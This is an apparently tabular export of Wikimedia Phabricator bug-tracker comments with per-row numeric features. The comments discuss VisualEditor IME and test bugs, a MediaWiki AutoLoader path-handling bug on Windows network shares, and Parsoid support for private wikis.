207413,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"Inez, is there an update on this bug?",,,1367547839,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Inez, is there an update on this bug?"
207406,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"Only works if the line has no text.
Confirmed on bullet-type lines too.",,,1364125968,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9444444444444444,"Only works if the line has no text.
Confirmed on bullet-type lines too."
207399,VisualEditor: IME input into an empty slug causes characters to overwrite one another,I was able to confirm it (using Katakana) in Chrome on MacOS. Apparently it depends on the speed of typing (Selenium test for it is going to be interesting).,,,1361476901,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-wgf3mrrwn3ymravx5tvh,task_subcomment,,True,c1,1,False,,,-19,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,20.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,20.0,9.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.6857142857142855,0.8,I was able to confirm it (using Katakana) in Chrome on MacOS. Apparently it depends on the speed of typing (Selenium test for it is going to be interesting).
47216,VisualEditor: Increase test coverage of ve.FormatAction,"We currently have 0 tests for ve.FormatAction.*

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1361404500,1361566138.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-sgmrkdjbdkbtrt6o6mwh,task_description,resolved,True,c1,1,True,False,True,-19,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.896551724137931,0.6206896551724138,"We currently have 0 tests for ve.FormatAction.*

--------------------------
**Version**: unspecified
**Severity**: normal"
206128,VisualEditor: Increase test coverage of ve.FormatAction,Merged.,,,1361566138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sgmrkdjbdkbtrt6o6mwh,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
206121,VisualEditor: Increase test coverage of ve.FormatAction,https://gerrit.wikimedia.org/r/#/c/50137/,,,1361410249,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sgmrkdjbdkbtrt6o6mwh,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47175,VisualEditor: Fix dependency issues between ve.js and ve.init.platform,"In ve.js, function ve.msg:
// TODO: Fix dependency issues between ve.js and ve.init.platform

I don't know how this should be fixed exactly, Timo put this comment in in 407de829dd8f2e51c22a8378dc70c79fc6645d1e . I did notice that running the VE tests from Special:JavaScriptTest doesn't work because ve.msg() errors out with 've.init.platform' undefined.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1361311500,1365058343.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-zkyntw7nvnjqikzefrbn,task_description,resolved,True,c1,1,False,False,True,-19,,0.0,0.0,0.0,1.0,2.0,4.0,0.0,1.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,13.0,4.0,1.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.0,11.0,11.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.634146341463414,0.7073170731707317,"In ve.js, function ve.msg:
// TODO: Fix dependency issues between ve.js and ve.init.platform

I don't know how this should be fixed exactly, Timo put this comment in in 407de829dd8f2e51c22a8378dc70c79fc6645d1e . I did notice that running the VE tests from Special:JavaScriptTest doesn't work because ve.msg() errors out with 've.init.platform' undefined.

--------------------------
**Version**: unspecified
**Severity**: normal"
228873,VisualEditor: Fix dependency issues between ve.js and ve.init.platform,Change-Id: I47d7d92495974572194700c98a219d22ecbfaf4b,,,1364960892,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zkyntw7nvnjqikzefrbn,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.2,1.0,Change-Id: I47d7d92495974572194700c98a219d22ecbfaf4b
228865,VisualEditor: Fix dependency issues between ve.js and ve.init.platform,"This is currently blocking us from enabling QUnit for extension VisualEditor as the race-condition is happening consistently in Chrome, Safari and PhantomJS.

I tracked it down to the calls to ve.msg from the global scope, such as:


@@ ve.ce.Surface.static.$phantomTemplate = $ (.. ) .attr( {
		'title': ve.msg( 'visualeditor-aliennode-tooltip' ),",,,1364959167,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zkyntw7nvnjqikzefrbn,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,11.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,12.0,8.0,0.0,5.0,1.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,4.1506849315068495,0.7397260273972602,"This is currently blocking us from enabling QUnit for extension VisualEditor as the race-condition is happening consistently in Chrome, Safari and PhantomJS.

I tracked it down to the calls to ve.msg from the global scope, such as:


@@ ve.ce.Surface.static.$phantomTemplate = $ (.. ) .attr( {
		'title': ve.msg( 'visualeditor-aliennode-tooltip' ),"
228859,VisualEditor: Fix dependency issues between ve.js and ve.init.platform,"(In reply to comment #0)
> In ve.js, function ve.msg:
> // TODO: Fix dependency issues between ve.js and ve.init.platform
> 
> I don't know how this should be fixed exactly, Timo put this comment in in
> 407de829dd8f2e51c22a8378dc70c79fc6645d1e . I did notice that running the VE
> tests from Special:JavaScriptTest doesn't work because ve.msg() errors out
> with
> 've.init.platform' undefined.

Indeed, that's the reason why. They sometimes fail, and sometimes work.

It appears to be a race-condition and/or absent dependency that should be fixed or lazy-loaded or something else to make sure one has the other.",,,1361312943,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-zkyntw7nvnjqikzefrbn,task_subcomment,,True,c1,1,True,,,-19,,0.0,1.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,4.0,3.0,17.0,1.0,6.0,6.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,4.0,6.0,8.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.513888888888889,0.6388888888888888,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed, that's the reason why. They sometimes fail, and sometimes work.

It appears to be a race-condition and/or absent dependency that should be fixed or lazy-loaded or something else to make sure one has the other."
46953,AutoLoader adds $IP to network share path,"**Author:** `kevinrose`

**Description:**
I am running under IIS with the files stored on network storage.
I get an error from line 1142 in includes\AutoLoader.php when the $filename being passed is already a network share. Specifically in my case it then adds $IP a second time.

Here are the variables from my situation:

From debugging we know that:
$IP is set to ""\\server\share\mediawiki""

The offending class being loaded in LocalSettings.php:

require_once(""$IP/extensions/WikiEditor/WikiEditor.php"" );

After line 1142 $filename = ""\\server\share\mediawiki\\server\share\mediawiki\extensions\WikiEditor\WikiEditor.php""

Line 1140 checks if the first character is a / (root), or the second character is a : (windows local drive).

To work around the problem I added a third check, that the second character is a slash (windows network share):

		if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) != ':' && substr( $filename, 1, 1 ) != '\\') {

--------------------------
**Version**: 1.20.x
**Severity**: normal",Medium,50.0,1360770540,1586895753.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_description,declined,True,c1,1,False,False,False,-20,,0.0,0.0,0.0,1.0,0.0,2.6666666666666665,1.6666666666666667,0.0,0.0,0.6666666666666666,1.0,2.6666666666666665,0.0,0.0,0.0,2.0,0.0,1.6666666666666667,6.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,3.3333333333333335,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.3333333333333333,14.666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,5.0,3.0,7.333333333333333,1.6666666666666667,2.0,5.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,3.6666666666666665,0.0,2.3333333333333335,6.0,5.333333333333333,0.0,4.333333333333333,0.0,2.3333333333333335,0.0,0.3333333333333333,2.3333333333333335,0.0,1.0,0.0,0.0,0.0,3.7763713080168775,0.6160337552742615,"**Author:** CODE

**Description:**
I am running under IIS with the files stored on network storage.
I get an error from line 1142 in includes\AutoLoader.php when the $filename being passed is already a network share. Specifically in my case it then adds $IP a second time.

Here are the variables from my situation:

From debugging we know that:
$IP is set to ""\\server\share\mediawiki""

The offending class being loaded in LocalSettings.php:

require_once(""$IP/extensions/WikiEditor/WikiEditor.php"" );

After line 1142 $filename = ""\\server\share\mediawiki\\server\share\mediawiki\extensions\WikiEditor\WikiEditor.php""

Line 1140 checks if the first character is a / (root), or the second character is a : (windows local drive).

To work around the problem I added a third check, that the second character is a slash (windows network share):

		if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) != ':' && substr( $filename, 1, 1 ) != '\\') {

--------------------------
**Version**: 1.20.x
**Severity**: normal"
1484743,AutoLoader adds $IP to network share path,"Since nobody cared too much for the last seven years, we assume nobody cares too terribly much. And even if we fixed it, we couldn't test it.",,,1586895753,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,3,True,,,354,,6.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,16.0,9.0,6.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,16.0,9.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.59375,0.75,"Since nobody cared too much for the last seven years, we assume nobody cares too terribly much. And even if we fixed it, we couldn't test it."
1483322,AutoLoader adds $IP to network share path,"Tagging CPT as potentially interested party in Autoloader and third-party usees of it. I'm not sure if the above is still applicable, or whether running MediaWiki on Windows from a network share is supported or not. If not, we should probaby document that. If we do, then the above bug seems easily fixable as described in the last comment.",,,1586730716,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,3,True,,,353,,0.0,0.0,0.0,1.0,4.0,10.0,1.0,0.0,0.0,4.0,6.0,1.0,0.0,0.0,0.0,4.0,0.0,10.0,16.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,6.0,4.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,16.0,7.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.086956521739131,0.7536231884057971,"Tagging CPT as potentially interested party in Autoloader and third-party usees of it. I'm not sure if the above is still applicable, or whether running MediaWiki on Windows from a network share is supported or not. If not, we should probaby document that. If we do, then the above bug seems easily fixable as described in the last comment."
215675,AutoLoader adds $IP to network share path,"**kevinrose** wrote:

I forgot about this bug - upgraded my mediawiki to latest snapshot of 1.22 and the issue came back.

The issue isn't related to a particular extension, but to the use of the AutoLoader.  Above the samples were with WikiEditor. This time I came across it with VisualEditor which uses AutoLoader.


In 1.22 latest snapshot 7/16/2013 line 1148-1152 of file includes\AutoLoader.php:

		# Make an absolute path, this improves performance by avoiding some stat calls
		if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) != ':' ) {
			global $IP;
			$filename = ""$IP/$filename"";
		}



This handles the case where $filename is a linux full path (starting at /) or a windows full path (with the drive letter i.e. c:) but does not handle the case of a network share on windows (\\server\path)

Again fix in first message does address this:

if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) !=
':' && substr( $filename, 0, 2 ) != '\\\\')

Adjusted to look specifically for two forward slashes in case there's some other case where one forward slash is ok?",,,1373980934,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,3,False,,,2,,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,3.6666666666666665,1.0,0.0,0.0,0.6666666666666666,1.6666666666666667,4.0,0.0,0.0,0.3333333333333333,1.0,0.0,3.0,8.0,0.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,3.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,15.666666666666666,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,4.333333333333333,1.3333333333333333,5.333333333333333,1.3333333333333333,3.3333333333333335,7.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,2.0,0.0,6.666666666666667,0.0,1.6666666666666667,8.0,3.3333333333333335,0.3333333333333333,4.333333333333333,0.0,1.6666666666666667,0.0,1.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,3.328697210534518,0.6205781517843229,"**kevinrose** wrote:

I forgot about this bug - upgraded my mediawiki to latest snapshot of 1.22 and the issue came back.

The issue isn't related to a particular extension, but to the use of the AutoLoader.  Above the samples were with WikiEditor. This time I came across it with VisualEditor which uses AutoLoader.


In 1.22 latest snapshot 7/16/2013 line 1148-1152 of file includes\AutoLoader.php:

		# Make an absolute path, this improves performance by avoiding some stat calls
		if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) != ':' ) {
			global $IP;
			$filename = ""$IP/$filename"";
		}



This handles the case where $filename is a linux full path (starting at /) or a windows full path (with the drive letter i.e. c:) but does not handle the case of a network share on windows (\\server\path)

Again fix in first message does address this:

if ( substr( $filename, 0, 1 ) != '/' && substr( $filename, 1, 1 ) !=
':' && substr( $filename, 0, 2 ) != '\\\\')

Adjusted to look specifically for two forward slashes in case there's some other case where one forward slash is ok?"
215667,AutoLoader adds $IP to network share path,"**michael** wrote:

I experienced the same issue after upgrading to the latest version of GearHost.com's cloudsites platform, which too changed from local drive storage to a network share. Like the original poster, I found the same behavior. Additionally, though, I found that commenting the require_once(""$IP/extensions/WikiEditor/WikiEditor.php"" ); line would temporarily resolve the issue and allow MediaWiki to load, which suggests some dependency between require_once and the autoloader. I applied a similar change to the autoloader file which allowed to uncomment the require_once line successfully. I am running MediaWiki 1.19.1.",,,1373591943,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,3.5,7.0,0.0,2.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,1.5,0.0,3.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,7.5,1.0,8.5,0.5,2.0,10.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.5,7.0,5.5,0.0,1.0,0.0,3.5,0.0,2.5,1.5,0.0,2.0,0.0,0.5,0.0,4.871710526315789,0.7167919799498748,"**michael** wrote:

I experienced the same issue after upgrading to the latest version of GearHost.com's cloudsites platform, which too changed from local drive storage to a network share. Like the original poster, I found the same behavior. Additionally, though, I found that commenting the require_once(""$IP/extensions/WikiEditor/WikiEditor.php"" ); line would temporarily resolve the issue and allow MediaWiki to load, which suggests some dependency between require_once and the autoloader. I applied a similar change to the autoloader file which allowed to uncomment the require_once line successfully. I am running MediaWiki 1.19.1."
215659,AutoLoader adds $IP to network share path,Please confirm that this is a MediaWiki related problem. Otherwise this issue should be closed.,,,1362546459,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,18.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,0.8823529411764706,Please confirm that this is a MediaWiki related problem. Otherwise this issue should be closed.
215651,AutoLoader adds $IP to network share path,"I think you're confusing ""require"" with ""autoloading"".

The require_once() call you mention:
> require_once(""$IP/extensions/WikiEditor/WikiEditor.php"" );

that isn't a class but an extension file. This is your own code and placed in your LocalSettings.php, correct?

AutoLoader isn't involved there.


> After line 1142 $filename =
> ""\\server\share\mediawiki\\server\share\mediawiki\extensions\WikiEditor\WikiEditor.php""

Line 1142/1145 of which file? Assuming AutoLoader.php, why is WikiEditor listed in your autoloader configuration?",,,1360798922,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,1.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,1.0,1.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,1.0,6.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,5.0,15.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,5.0,8.0,4.0,5.0,0.0,8.0,0.0,4.0,3.0,0.0,4.0,0.0,0.0,0.0,4.205128205128205,0.7051282051282052,"I think you're confusing ""require"" with ""autoloading"".

The require_once() call you mention:
QUOTE

that isn't a class but an extension file. This is your own code and placed in your LocalSettings.php, correct?

AutoLoader isn't involved there.


QUOTE
QUOTE

Line 1142/1145 of which file? Assuming AutoLoader.php, why is WikiEditor listed in your autoloader configuration?"
215644,AutoLoader adds $IP to network share path,"**kevinrose** wrote:

Sorry to avoid confusion - the actual error is at line 1145 when the incorrect $filename tries to get required.",,,1360770629,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m4d5tcwgzxjphwooyz2c,task_subcomment,,True,c1,1,False,,,-20,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7666666666666666,0.8333333333333334,"**kevinrose** wrote:

Sorry to avoid confusion - the actual error is at line 1145 when the incorrect $filename tries to get required."
46483,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"[Very much a longer-term enhancement.]

Parsoid doesn't currently have support for passing on an authenticated user's read right when fetching the wikitext (because the API doesn't support that yet).

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1359492240,1382479475.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-yycd32q4sp6a3jbmgdq4,task_description,resolved,True,c1,1,True,False,False,-22,,2.0,0.0,2.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,8.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,2.0,0.0,2.0,4.220338983050848,0.7288135593220338,"[Very much a longer-term enhancement.]

Parsoid doesn't currently have support for passing on an authenticated user's read right when fetching the wikitext (because the API doesn't support that yet).

--------------------------
**Version**: unspecified
**Severity**: enhancement"
212987,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"Change 91111 merged by jenkins-bot:
Support private wikis by forwarding Cookie: headers to Parsoid

